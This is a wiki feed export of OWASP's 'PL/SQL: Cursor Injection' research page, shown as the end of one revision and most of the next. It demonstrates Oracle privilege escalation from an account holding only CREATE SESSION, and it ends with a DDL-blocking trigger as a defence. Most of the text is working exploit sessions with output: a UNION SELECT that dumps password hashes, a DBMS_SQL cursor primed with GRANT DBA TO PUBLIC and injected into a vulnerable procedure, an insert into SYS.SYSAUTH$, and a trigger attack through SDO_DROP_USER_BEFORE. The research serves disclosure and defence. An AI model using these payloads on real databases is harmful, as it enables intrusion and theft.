ALTER are &amp;quot;SYS&amp;quot;, &amp;quot;JIM&amp;quot; and &amp;quot;JANE&amp;quot; then the following trigger could be created: &lt;br /&gt;
 &lt;br /&gt;
 CREATE OR REPLACE TRIGGER PREVENT_DDL BEFORE DDL ON DATABASE &lt;br /&gt;
 DECLARE &lt;br /&gt;
    V_USER VARCHAR(30); &lt;br /&gt;
 BEGIN &lt;br /&gt;
    V_USER := SYS_CONTEXT('USERENV','SESSION_USER'); &lt;br /&gt;
 &lt;br /&gt;
    IF V_USER != 'SYS' AND V_USER != 'JIM' AND V_USER !='JANE' THEN &lt;br /&gt;
            RAISE_APPLICATION_ERROR(-20002,'USER ' || V_USER || ' MAY &lt;br /&gt;
NOT EXECUTE DDL'); &lt;br /&gt;
    END IF; &lt;br /&gt;
 END; &lt;br /&gt;
 / &lt;br /&gt;
 &lt;br /&gt;
If we now retry the attack the trigger will prevent us: &lt;br /&gt;
 SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SET SERVEROUTPUT ON &lt;br /&gt;
SQL&amp;gt; DECLARE &lt;br /&gt;
  2  MY_CURSOR NUMBER; &lt;br /&gt;
  3  RESULT NUMBER; &lt;br /&gt;
  4  BEGIN &lt;br /&gt;
  5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
  6     DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; &lt;br /&gt;
begin execute immediate ''create or replace function csess_func (p &lt;br /&gt;
varchar2) return number authid current_user is begin execute immediate &lt;br /&gt;
p; return 1; end;''; commit; end;',0); &lt;br /&gt;
  7     DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); &lt;br /&gt;
  8  END; &lt;br /&gt;
  9  / &lt;br /&gt;
Cursor value is :4 &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); &lt;br /&gt;
BEGIN SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); END; &lt;br /&gt;
 &lt;br /&gt;
* &lt;br /&gt;
ERROR at line 1: &lt;br /&gt;
ORA-20002: USER CSESS MAY NOT EXECUTE DDL &lt;br /&gt;
ORA-06512: at line 7 &lt;br /&gt;
ORA-06512: at line 1 &lt;br /&gt;
ORA-06512: at &amp;quot;SYS.DBMS_SYS_SQL&amp;quot;, line 1200 &lt;br /&gt;
ORA-06512: at &amp;quot;SYS.DBMS_SQL&amp;quot;, line 323 &lt;br /&gt;
ORA-06512: at &amp;quot;SYS.GET_OWNER&amp;quot;, line 7 &lt;br /&gt;
ORA-06512: at line 1 &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
If we try to disable the trigger we get the same error. If we attempt to grant CSESS the &lt;br /&gt;
ADMINISTER DATABASE TRIGGER we get the same error. Indeed, any attempt by &lt;br /&gt;
someone other than SYS, JIM or JANE to execute GRANT, REVOKE, ALTER or &lt;br /&gt;
CREATE ends up with it being blocked by the trigger. This method appears to be &lt;br /&gt;
effective as a preventative measure.&lt;br /&gt;
==Resources== &lt;br /&gt;
* [1] [http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf Oracle's own paper on how to prevent SQL injection in PL/SQL, October 2008]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;br /&gt;
[[Category:PL/SQL]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&amp;diff=46409</id>
		<title>PL/SQL:Cursor Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&amp;diff=46409"/>
				<updated>2008-11-14T15:41:48Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: New page: ==Status== WIP 14/11/2008  ==Introduction==   On occasion Oracle in their alerts state that the ability to create a procedure or a function  is required for an attacker to be able to explo...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
WIP 14/11/2008&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
 &lt;br /&gt;
On occasion Oracle in their alerts state that the ability to create a procedure or a function &lt;br /&gt;
is required for an attacker to be able to exploit a flaw. For example, DB02 in the October &lt;br /&gt;
2006 Critical Patch Update was for a vulnerability in the SDO_DROP_USER_BEFORE &lt;br /&gt;
trigger. In the Risk Matrix section of the alert it states that an attacker must have the &lt;br /&gt;
CREATE PROCEDURE privilege to exploit the flaw. As we will see this is not the case. &lt;br /&gt;
This paper describes a new method whereby an attacker, seeking to exploit a SQL &lt;br /&gt;
injection flaw in an Oracle database server, may do so without the need to create an &lt;br /&gt;
auxiliary inject function in order to execute arbitrary SQL. This is achieved by injecting a &lt;br /&gt;
pre-compiled cursor into vulnerable PL/SQL objects. The driving force behind this &lt;br /&gt;
research is to show that all SQL injection flaws can be fully exploited without any system &lt;br /&gt;
privilege other than CREATE SESSION and accordingly the risk should never be &lt;br /&gt;
&amp;quot;marked down&amp;quot;. &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
The problem for the attacker... &lt;br /&gt;
 &lt;br /&gt;
Consider the following PL/SQL procedure: &lt;br /&gt;
 &lt;br /&gt;
CONNECT / AS SYSDBA &lt;br /&gt;
CREATE OR REPLACE PROCEDURE GET_OWNER (P_OBJNM VARCHAR) IS &lt;br /&gt;
TYPE C_TYPE IS REF CURSOR; &lt;br /&gt;
CV C_TYPE; &lt;br /&gt;
BUFFER VARCHAR2(200); &lt;br /&gt;
BEGIN &lt;br /&gt;
DBMS_OUTPUT.ENABLE(1000000); &lt;br /&gt;
OPEN CV FOR 'SELECT OWNER FROM ALL_OBJECTS &lt;br /&gt;
WHERE OBJECT_NAME = ''' || P_OBJNM ||''''; &lt;br /&gt;
LOOP &lt;br /&gt;
FETCH CV INTO BUFFER; &lt;br /&gt;
DBMS_OUTPUT.PUT_LINE(BUFFER); &lt;br /&gt;
EXIT WHEN CV%NOTFOUND; &lt;br /&gt;
END LOOP; &lt;br /&gt;
CLOSE CV; &lt;br /&gt;
END; &lt;br /&gt;
/ &lt;br /&gt;
GRANT EXECUTE ON GET_OWNER TO PUBLIC; &lt;br /&gt;
 &lt;br /&gt;
It is vulnerable to SQL injection. The P_OBJNM parameter is embedded within a &lt;br /&gt;
SELECT query which is then executed. Due to the fact that Oracle won't batch queries, &lt;br /&gt;
for example like Microsoft SQL Server, the attacker is limited in terms of what they &lt;br /&gt;
could do when it comes to exploiting the flaw. One thing the attacker could do is perform &lt;br /&gt;
a UNION SELECT to gain access to arbitrary data: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT SCOTT/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SET SERVEROUTPUT ON &lt;br /&gt;
SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA'' UNION SELECT PASSWORD FROM SYS.DBA_USERS &lt;br /&gt;
-- '); &lt;br /&gt;
16B58553D83807DF 1718E5DBB8F89784 &lt;br /&gt;
24ABAB8B06281B4C &lt;br /&gt;
... &lt;br /&gt;
... &lt;br /&gt;
 &lt;br /&gt;
What if they wanted to do more than just this, though, and perform a DDL or DML &lt;br /&gt;
operation? In Oracle, the attacker could not simply inject a &amp;quot;GRANT DBA TO PUBLIC&amp;quot; &lt;br /&gt;
or an &amp;quot;INSERT something into some table&amp;quot; statement after the application defined &lt;br /&gt;
SELECT statement. In order to achieve this, they'd need to wrap their arbitrary SQL in a &lt;br /&gt;
function and inject this: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR AUTHID &lt;br /&gt;
CURRENT_USER IS &lt;br /&gt;
  2  PRAGMA AUTONOMOUS_TRANSACTION; &lt;br /&gt;
  3  BEGIN &lt;br /&gt;
  4  EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; &lt;br /&gt;
  5  RETURN 'GOT_DBA_PRIVS'; &lt;br /&gt;
  6  END; &lt;br /&gt;
  7  / &lt;br /&gt;
 &lt;br /&gt;
Function created. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||SCOTT.GET_DBA--'); &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
 &lt;br /&gt;
Role set. &lt;br /&gt;
 &lt;br /&gt;
Here, SCOTT has created a function called GET_DBA and this is then injected into the &lt;br /&gt;
application defined SELECT query using the concatenation operator - the double pipe. &lt;br /&gt;
As part of executing the SELECT query the database server also executes the GET_DBA &lt;br /&gt;
function with SYS privileges and the GRANT succeeds. This GET_DBA function is an &lt;br /&gt;
auxiliary inject function and it performs the real work of the exploit. If an attacker can't &lt;br /&gt;
create their own functions then they must find a function that already exists on the system &lt;br /&gt;
- a function that allows them to execute arbitrary SQL. Prior to April 2006, when the flaw &lt;br /&gt;
was patched, the GET_DOMAIN_INDEX_TABLES function on the SYS owned &lt;br /&gt;
DBMS_EXPORT_EXTENSION package could be used: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; &lt;br /&gt;
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTP&lt;br /&gt;
UT&amp;quot;.PUT(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; &lt;br /&gt;
BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO PUBLIC''''; END;''; END;--&lt;br /&gt;
','SYS',0,'1',0) &lt;br /&gt;
 &lt;br /&gt;
This package was vulnerable to SQL injection and attacker supplied arguments were &lt;br /&gt;
embedded into a block of anonymous PL/SQL. As PUBLIC could directly execute this &lt;br /&gt;
package they could execute arbitrary SQL using this function alone - there was no need &lt;br /&gt;
to inject it into another vulnerable package. As already stated, this has since been fixed.  &lt;br /&gt;
 &lt;br /&gt;
There are two other functions that can be used as auxiliary inject functions, however, they can only be used as such due to a flaw. One is vulnerable to a cursor snarfing issue [see &lt;br /&gt;
http://www.databasesecurity.com/dbsec/cursor-snarfing.pdf] that can be exploited to run &lt;br /&gt;
arbitrary SQL as SYS and the other is vulnerable to a SQL injection flaw into an &lt;br /&gt;
anonymous PL/SQL block, again allowing an attacker to execute arbitrary SQL as SYS. &lt;br /&gt;
Both are currently being fixed by Oracle and until the patch is out they will remain &lt;br /&gt;
&amp;quot;nameless&amp;quot;.  &lt;br /&gt;
 &lt;br /&gt;
Each of the three known extant functions that can be used as auxiliaries contain a &lt;br /&gt;
vulnerability of some sort and will all be patched at some stage making their &amp;quot;usefulness&amp;quot; &lt;br /&gt;
time limited. There is what could be argued as a fourth function that can be abused by an &lt;br /&gt;
attacker to execute arbitrary SQL and it doesn't rely on a vulnerability. I say &amp;quot;could be &lt;br /&gt;
argued&amp;quot; because it's not as straight forward as simply injecting the function - it needs to &lt;br /&gt;
be primed first. What follows is a description of the new method: it is simple multi-stage &lt;br /&gt;
attack (so simple in fact I should have thought of it years ago!) and it works on all &lt;br /&gt;
versions of Oracle and can be exploited by an attacker to run any SQL - provided of &lt;br /&gt;
course there is a vector - i.e. a PL/SQL package, procedure, function, trigger or type &lt;br /&gt;
which is vulnerable to SQL injection. &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
==The DBMS_SQL package== &lt;br /&gt;
 &lt;br /&gt;
The DBMS_SQL package contains a number of procedures and functions that can be &lt;br /&gt;
used to execute dynamic SQL queries: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT SCOTT/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; DECLARE &lt;br /&gt;
  2  MY_CURSOR NUMBER; &lt;br /&gt;
  3  RESULT NUMBER; &lt;br /&gt;
  4  BEGIN &lt;br /&gt;
  5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
  6     DBMS_SQL.PARSE(MY_CURSOR,'SELECT 1 FROM DUAL',0); &lt;br /&gt;
  7     RESULT := DBMS_SQL.EXECUTE(MY_CURSOR); &lt;br /&gt;
  8     DBMS_SQL.CLOSE_CURSOR(MY_CURSOR); &lt;br /&gt;
  9  END; &lt;br /&gt;
  10 / &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
Here, we create a cursor called &amp;quot;MY_CURSOR&amp;quot; using the &lt;br /&gt;
DBMS_SQL.OPEN_CURSOR function. We then tie this cursor to a query, in this case &lt;br /&gt;
&amp;quot;SELECT 1 FROM DUAL&amp;quot;, by using the DBMS_SQL.PARSE procedure. By doing this, &lt;br /&gt;
the cursor becomes like a handle to this query which is then executed using the &lt;br /&gt;
DBMS_SQL.EXECUTE function. Lastly the cursor is closed. All an attacker need do to &lt;br /&gt;
execute arbitrary SQL in open a cursor and parse the SQL and then inject the &lt;br /&gt;
DBMS_SQL.EXECUTE function into the vulnerable PL/SQL object: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT SCOTT/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SET SERVEROUTPUT ON SQL&amp;gt; DECLARE &lt;br /&gt;
  2  MY_CURSOR NUMBER; &lt;br /&gt;
  3  RESULT NUMBER; &lt;br /&gt;
  4  BEGIN &lt;br /&gt;
  5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
  6     DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; &lt;br /&gt;
begin execute immediate ''grant dba to public''; commit; end;',0); &lt;br /&gt;
  7     DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); &lt;br /&gt;
  8  END; &lt;br /&gt;
  9  / &lt;br /&gt;
Cursor value is :4 &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
 &lt;br /&gt;
Role set. &lt;br /&gt;
 &lt;br /&gt;
Firstly, we open the cursor and then parse our query - one that'll grant DBA privileges to &lt;br /&gt;
PUBLIC. We then print the value of the cursor to the screen - 4 in this case. We then pass &lt;br /&gt;
4 as the argument to the DBMS_SQL.EXECUTE function when we inject it into the &lt;br /&gt;
vulnerable procedure. The DBMS_SQL.EXECUTE function returns a number so we use &lt;br /&gt;
the CHR function to convert the number to a character - which can then be concatenated. &lt;br /&gt;
When the application defined SELECT query executes so too does the &lt;br /&gt;
DBMS_SQL.EXECUTE function - and so the attacker's SQL is executed with SYS &lt;br /&gt;
privileges - in this case granting DBA privileges to PUBLIC. &lt;br /&gt;
 &lt;br /&gt;
==Only Half-primed...== &lt;br /&gt;
 &lt;br /&gt;
Assume, rather than execute 'GRANT DBA TO PUBLIC', which might alert an intrusion &lt;br /&gt;
detection/prevention system, the attacker wishes to perform an INSERT to achieve the &lt;br /&gt;
same end, in other words, INSERT the relevant rows into the SYS.SYSAUTH$ table to &lt;br /&gt;
make PUBLIC a DBA. At this stage, this new attack technique can not be used to do this. &lt;br /&gt;
An error is returned from DBMS_SQL: table or view does not exist: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SET SERVEROUTPUT ON &lt;br /&gt;
SQL&amp;gt; DECLARE &lt;br /&gt;
  2  MY_CURSOR NUMBER; &lt;br /&gt;
  3  RESULT NUMBER; &lt;br /&gt;
  4  BEGIN &lt;br /&gt;
  5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
  6     DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; &lt;br /&gt;
begin execute immediate ''INSERT INTO SYS.SYSAUTH$ (GRANTEE#, &lt;br /&gt;
PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT MAX(SEQUENCE#)+1 FROM &lt;br /&gt;
SYS.SYSAUTH$))''; commit; end;',0); &lt;br /&gt;
  7     DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); &lt;br /&gt;
  8  END; &lt;br /&gt;
  9  / &lt;br /&gt;
Cursor value is :4  &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); &lt;br /&gt;
BEGIN SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); END; &lt;br /&gt;
 &lt;br /&gt;
* &lt;br /&gt;
ERROR at line 1: &lt;br /&gt;
ORA-00942: table or view does not exist &lt;br /&gt;
ORA-06512: at line 1 &lt;br /&gt;
ORA-06512: at &amp;quot;SYS.DBMS_SYS_SQL&amp;quot;, line 1200 &lt;br /&gt;
ORA-06512: at &amp;quot;SYS.DBMS_SQL&amp;quot;, line 323 &lt;br /&gt;
ORA-06512: at &amp;quot;SYS.GET_OWNER&amp;quot;, line 7 &lt;br /&gt;
ORA-06512: at line 1 &lt;br /&gt;
 &lt;br /&gt;
The query here attempts to INSERT into the SYS.SYSAUTH$ table to make PUBLIC a &lt;br /&gt;
DBA - but as can be seen - an error is generated. Whilst we can't use this to do an &lt;br /&gt;
INSERT we've already seen we can grant DBA privileges and another action an attacker &lt;br /&gt;
can take using this method is to create a function - even though they don't have the &lt;br /&gt;
permissions to do so directly. Let's create a user with only the CREATE SESSION &lt;br /&gt;
privilege and no more: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT / AS SYSDBA &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; CREATE USER CSESS IDENTIFIED BY PASSWORD; &lt;br /&gt;
 &lt;br /&gt;
User created. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; GRANT CREATE SESSION TO CSESS; &lt;br /&gt;
 &lt;br /&gt;
Grant succeeded. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SELECT PRIVILEGE FROM SESSION_PRIVS; &lt;br /&gt;
 &lt;br /&gt;
PRIVILEGE &lt;br /&gt;
---------------------------------------- &lt;br /&gt;
CREATE SESSION &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; &lt;br /&gt;
 &lt;br /&gt;
Now with our test user, CSESS, in place let's go ahead, connect as them and create a &lt;br /&gt;
function even though we only have the CREATE SESSION privilege: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SET SERVEROUTPUT ON &lt;br /&gt;
SQL&amp;gt; DECLARE &lt;br /&gt;
  2  MY_CURSOR NUMBER; &lt;br /&gt;
  3  RESULT NUMBER; &lt;br /&gt;
  4  BEGIN &lt;br /&gt;
  5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
  6     DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; &lt;br /&gt;
begin execute immediate ''create or replace function csess_func (p varchar2) return number authid current_user is begin execute immediate &lt;br /&gt;
p; return 1; end;''; commit; end;',0); &lt;br /&gt;
  7     DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); &lt;br /&gt;
  8  END; &lt;br /&gt;
  9  / &lt;br /&gt;
Cursor value is :4 &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
Here we attempt to create a function call CSESS_FUNC. Now see if the function was &lt;br /&gt;
actually created: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SELECT CSESS_FUNC('SELECT 1 FROM DUAL') FROM DUAL; &lt;br /&gt;
 &lt;br /&gt;
CSESS_FUNC('SELECT1FROMDUAL') &lt;br /&gt;
----------------------------- &lt;br /&gt;
                            1 &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; &lt;br /&gt;
 &lt;br /&gt;
All looks good. Now we can use this function to do whatever we want: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
SET ROLE DBA &lt;br /&gt;
* &lt;br /&gt;
ERROR at line 1: &lt;br /&gt;
ORA-01924: role 'DBA' not granted or does not exist &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma &lt;br /&gt;
autonomous_transaction; begin execute immediate ''''INSERT INTO &lt;br /&gt;
SYS.SYSAUTH$ (GRANTEE#, PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT &lt;br /&gt;
MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
 &lt;br /&gt;
Role set. &lt;br /&gt;
 &lt;br /&gt;
Note that, on some systems, such as 10g Release 2 a &amp;quot;unique constraint&amp;quot; error might be &lt;br /&gt;
generated but the INSERT does succeed: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
SET ROLE DBA &lt;br /&gt;
* &lt;br /&gt;
ERROR at line 1: &lt;br /&gt;
ORA-01924: role 'DBA' not granted or does not exist &lt;br /&gt;
 SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma &lt;br /&gt;
autonomous_transaction; begin execute immediate ''''INSERT INTO &lt;br /&gt;
SYS.SYSAUTH$ (GRANTEE#, PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT &lt;br /&gt;
MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); &lt;br /&gt;
BEGIN SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma &lt;br /&gt;
autonomous_transaction; begin execute immediate ''''INSERT INTO &lt;br /&gt;
SYS.SYSAUTH$ (GRANTEE#,PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT &lt;br /&gt;
MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); END; &lt;br /&gt;
 &lt;br /&gt;
* &lt;br /&gt;
ERROR at line 1: &lt;br /&gt;
ORA-00001: unique constraint (SYS.I_SYSAUTH1) violated &lt;br /&gt;
ORA-06512: at line 1 &lt;br /&gt;
ORA-06512: at &amp;quot;CSESS.CSESS_FUNC&amp;quot;, line 1 &lt;br /&gt;
ORA-06512: at &amp;quot;SYS.GET_OWNER&amp;quot;, line 7 &lt;br /&gt;
ORA-06512: at line 1 &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
 &lt;br /&gt;
Role set. &lt;br /&gt;
 &lt;br /&gt;
So, by injecting DBMS_SQL.EXECUTE as an auxiliary function with &amp;quot;limited&amp;quot; scope, an attacker can &lt;br /&gt;
create their own auxiliary inject function to then do whatever they want. &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
==Exploiting the SDO_DROP_USER_BEFORE trigger==&lt;br /&gt;
 &lt;br /&gt;
In the introduction I mentioned the SDO_DROP_USER_BEFORE trigger. In 10g &lt;br /&gt;
Release 2 and before October 2006, when the flaw was patched, this trigger owned by &lt;br /&gt;
MDSYS was vulnerable to SQL injection. At the time it was believed that this was only &lt;br /&gt;
exploitable if the attacker had the CREATE PROCEDURE (and therefore FUNCTION) &lt;br /&gt;
privilege [see DB02 entry in http://www.oracle.com/technology/deploy/security/critical-&lt;br /&gt;
patch-updates/cpuoct2006.html#AppendixA] &lt;br /&gt;
 &lt;br /&gt;
The problem lay in the fact that the name of the user being dropped was embedded within &lt;br /&gt;
a block of anonymous PL/SQL: &lt;br /&gt;
 &lt;br /&gt;
... &lt;br /&gt;
... &lt;br /&gt;
EXECUTE IMMEDIATE &lt;br /&gt;
'begin ' || &lt;br /&gt;
'mdsys.rdf_apis_internal.' || &lt;br /&gt;
'notify_drop_user(''' || dictionary_obj_name || '''); ' || &lt;br /&gt;
'end;'; &lt;br /&gt;
... &lt;br /&gt;
... &lt;br /&gt;
 &lt;br /&gt;
This is the vulnerable code from the trigger. Here, &amp;quot;dictionary_obj_name&amp;quot; is the name of &lt;br /&gt;
the user being dropped and, as this &amp;quot;user&amp;quot; could be arbitrary, it was possible for an &lt;br /&gt;
attacker to inject 30 bytes of arbitrary SQL. In terms of exploiting this to gain DBA &lt;br /&gt;
privileges an attacker needs to jump through some hoops but it can be done. MDSYS is &lt;br /&gt;
not a DBA so the attacker must rely on an indirect privilege upgrade attack and, indeed, an attack is possible via MDSYS having the CREATE ANY TRIGGER system privilege. &lt;br /&gt;
By leveraging this privilege during a SQL injection attack, the attacker can create an &lt;br /&gt;
auxiliary trigger in the SYSTEM schema. This auxiliary trigger will carry out the work of &lt;br /&gt;
gaining the attacker DBA privileges. Firstly, the attacker needs the name of a table into &lt;br /&gt;
which PUBLIC can insert - there are a few - SYSTEM.OL$ will be the choice. A &lt;br /&gt;
&amp;quot;BEFORE INSERT&amp;quot; trigger will be created on this table; this trigger will execute the &lt;br /&gt;
GRANT DBA TO PUBLIC when an INSERT is performed. Let's step through attack &lt;br /&gt;
from start to finish. CSESS has only the CREATE SESSION privilege and cannot set the &lt;br /&gt;
DBA role: &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SET SERVEROUTPUT ON &lt;br /&gt;
SQL&amp;gt; SELECT PRIVILEGE FROM SESSION_PRIVS; &lt;br /&gt;
 &lt;br /&gt;
PRIVILEGE &lt;br /&gt;
---------------------------------------- &lt;br /&gt;
CREATE SESSION &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
SET ROLE DBA &lt;br /&gt;
* &lt;br /&gt;
ERROR at line 1: &lt;br /&gt;
ORA-01924: role 'DBA' not granted or does not exist &lt;br /&gt;
 &lt;br /&gt;
Once logged in CSESS then creates a cursor and primes it with a query that will create &lt;br /&gt;
the trigger on the SYSTEM.OL$ table - we also use DBMS_OUTPUT to show us that &lt;br /&gt;
our SQL is executing as expected: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; DECLARE &lt;br /&gt;
  2  MY_CURSOR NUMBER; &lt;br /&gt;
  3  RESULT NUMBER; &lt;br /&gt;
  4  BEGIN &lt;br /&gt;
  5  MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
  6  DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; &lt;br /&gt;
begin DBMS_OUTPUT.PUT_LINE(''EXECUTING FROM SDO_DROP_USER_BEFORE!!!''); &lt;br /&gt;
execute immediate ''create or replace trigger system.WHOPPEE before &lt;br /&gt;
insert on system.OL$ DECLARE msg VARCHAR2(30); BEGIN null; &lt;br /&gt;
dbms_output.put_line(''''In the trigger''''); EXECUTE IMMEDIATE &lt;br /&gt;
''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE &lt;br /&gt;
''''''''GRANT DBA TO PUBLIC''''''''; END; ''''; end WHOPPEE;''; commit; &lt;br /&gt;
end;',0); &lt;br /&gt;
  7  DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); &lt;br /&gt;
  8  END; &lt;br /&gt;
  9  / &lt;br /&gt;
Cursor value is :3 &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
With this done we can see the value of the cursor is 3. We'll pass this as the argument to &lt;br /&gt;
DBMS_SQL.EXECUTE when we inject it into the DROP USER statement: &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; DROP USER &amp;quot;'||CHR(DBMS_SQL.EXECUTE(3))||'&amp;quot;; &lt;br /&gt;
EXECUTING FROM SDO_DROP_USER_BEFORE!!! &lt;br /&gt;
DROP USER &amp;quot;'||CHR(DBMS_SQL.EXECUTE(3))||'&amp;quot; &lt;br /&gt;
          * &lt;br /&gt;
ERROR at line 1: &lt;br /&gt;
ORA-01918: user ''||CHR(DBMS_SQL.EXECUTE(3))||'' does not exist &lt;br /&gt;
 &lt;br /&gt;
Note we see our SQL is executing as expected - we can tell from the &amp;quot;EXECUTING &lt;br /&gt;
FROM SDO_DROP_USER_BEFORE!!!&amp;quot; message we output using &lt;br /&gt;
